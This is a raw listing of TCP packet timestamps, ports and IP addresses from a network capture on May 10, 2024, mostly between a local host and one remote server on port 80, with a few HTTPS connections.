May 10, 2024 09:20:57.988404036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.988414049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988425016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988426924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.988439083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988451004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988461971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988466024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.988475084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988480091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.988487959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988501072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988504887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.988513947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988524914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988537073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988540888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.988549948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988562107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.988564014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.988574982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989552021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989563942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989576101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989587069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989598036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989603996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989610910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989623070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989633083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989634991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989650011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989654064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989661932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989674091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989686966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989711046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989869118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989881039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989892960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989905119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989912987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989917994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989931107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.989939928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.989967108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990120888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990133047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990144014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990159988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990165949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990173101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990185022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990191936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990195990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990207911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990216970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990221024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990232944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990241051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990245104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990257025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990266085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990269899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990279913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990291119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990293026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990303993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990305901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990317106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990344048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990349054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990355968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990367889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990367889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990381002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990391016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990402937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990407944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990416050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990427971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990433931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990441084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990448952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990453005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990463972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990473032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990474939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990487099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990495920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990499020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990510941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990524054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990531921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990535021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990547895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990556002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990560055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.990569115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.990592003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991421938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991435051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991482019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991522074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991533995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991545916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991569042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991580009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991580963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991594076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991601944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991606951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991619110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991626024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991631985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991645098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991657019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991673946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991856098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991868019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991884947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991898060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991909981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991911888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991924047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991931915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991936922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991950035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991962910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991974115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991982937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.991986036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.991997957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992007971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992011070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992023945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992037058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992043018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992049932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992062092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992069960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992074013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992082119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992086887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992103100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992114067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992116928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992130995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992131948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992144108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992156982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992162943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992170095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992182970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992186069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992225885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992388010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992399931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992412090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992423058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992434025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992439032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992446899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992459059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992460966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992470980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992477894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992482901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992496967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992501020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992508888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992521048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992526054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992532969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992544889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992556095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992561102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992568970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992580891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992583036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992594004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992599964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992607117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992618084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992625952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992630005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992643118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992647886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992655993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992667913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.992682934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.992707014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993752003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993765116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993774891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993786097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993797064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993808031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993818998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993820906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993832111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993839979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993846893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993859053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993870020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993870020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993884087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993887901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993896961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993916035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993921041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993927956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993940115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993952036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993963003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993976116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.993978977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.993988991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994000912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994013071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994020939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.994024992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994036913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994050026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994055033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.994062901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994070053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.994076014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.994082928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.994117022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.996172905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996185064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996196032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996208906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996217012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.996222019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996234894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996243000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.996246099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996259928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996272087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996273994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.996284008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996295929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.996295929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996309042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.996316910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.996356964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998445034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998482943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998495102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998528004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998596907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998636961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998697042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998718977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998730898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998743057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998754025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998754978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998764992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998776913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998778105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998789072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998797894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998800993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998814106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998821974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998826027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998837948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998850107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998863935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998864889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998878002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998888969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998900890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998902082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998914003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998922110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998925924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998939037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998949051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998960018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998960972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998971939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.998972893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.998995066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.999651909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.999664068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.999675989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.999690056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.999710083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.999739885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.999753952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.999788046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.063457966 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.063524008 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.063589096 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.066864014 CEST	49770	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.066890001 CEST	443	49770	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.073611021 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.073677063 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.073760033 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.073856115 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.073916912 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.074033976 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.075386047 CEST	49772	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.075396061 CEST	443	49772	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.075995922 CEST	49771	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.076020956 CEST	443	49771	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.084299088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084328890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084389925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084487915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084513903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084530115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084541082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084553003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084561110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084566116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084578037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084589005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084590912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084602118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084606886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084614992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084625959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084625959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084656954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084666967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084671021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084683895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084688902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084697008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.084733009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.084999084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085041046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.085160971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085172892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085184097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085196018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085211992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085220098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.085225105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085237980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085248947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085249901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.085263014 CEST	80	49754	34.68.151.162	192.168.2.4
